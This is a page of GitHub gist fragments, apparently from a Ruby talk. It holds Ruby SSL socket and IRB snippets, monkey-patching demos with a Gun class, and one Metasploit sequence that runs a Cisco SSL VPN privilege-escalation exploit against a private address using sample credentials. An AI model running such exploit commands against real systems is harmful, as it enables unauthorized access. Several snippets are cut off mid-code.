This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
require 'socket' | |
require 'openssl' | |
module SSLHelpers | |
class Client | |
def initialize(host, port) | |
@host = host | |
@port = port | |
end |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
>> require 'socket' | |
=> true | |
>> require 'openssl' | |
=> true | |
>> | |
?> sock = TCPSocket.new('10.70.32.104', 443) | |
=> #<TCPSocket:fd 7> | |
>> ctx = OpenSSL::SSL::SSLContext.new | |
=> #<OpenSSL::SSL::SSLContext:0x000001018a5c08 @cert=nil, @key=nil, @client_ca=nil, @ca_file=nil, @ca_path=nil, @timeout=nil, @verify_mode=nil, @verify_depth=nil, @renegotiation_cb=nil, @verify_callback=nil, @options=nil, @cert_store=nil, @extra_chain_cert=nil, @client_cert_cb=nil, @tmp_dh_callback=nil, @session_id_context=nil, @session_get_cb=nil, @session_new_cb=nil, @session_remove_cb=nil, @servername_cb=nil, @npn_protocols=nil, @npn_select_cb=nil> | |
>> ssl_sock = OpenSSL::SSL::SSLSocket.new(sock, ctx) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
load ~/metasploit/plugins/meta_ssh | |
use exploit/multi/http/cisco_ssl_vpn_priv_esc | |
set PAYLOAD ssh/metassh_session | |
set USERNAME jsmith | |
set PASSWORD jsmith | |
set GROUP vendor | |
set RHOST 192.168.101.1 | |
exploit |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
if a == 1 && | |
b == 2 | |
#do_stuff | |
end | |
if a == 1 && b == 2 | |
#do_stuff | |
end |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
class Gun | |
def trigger | |
fire | |
end | |
private | |
def fire | |
puts "BANG!" | |
end | |
end |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
>> semiautomatic_gun = Gun.new() | |
=> #<Gun:0x00000102806a80> | |
>> semiautomatic_gun.trigger | |
BANG! |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
class Gun | |
def trigger | |
3.times {fire} | |
end | |
end |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
>> require 'monkey_patched_gun' | |
=> true | |
>> semiautomatic_gun.trigger | |
BANG! | |
BANG! | |
BANG! | |
>> semiautomatic_gun.to_s | |
=> "#<Gun:0x00000102806a80>" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
class Brain | |
def initialize | |
@skills = [ | |
"hide", | |
"run", | |
] | |
end | |
def what_to_do? | |
@skills[rand(2)] |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
>> require 'brain' | |
=> true | |
>> neo_brain = Brain.new() | |
=> #<Brain:0x0000010218aee0 @skills=["hide", "run"]> | |
>> neo_brain.what_to_do? | |
=> "hide" | |
>> neo_brain.what_to_do? | |
=> "run" |
OlderNewer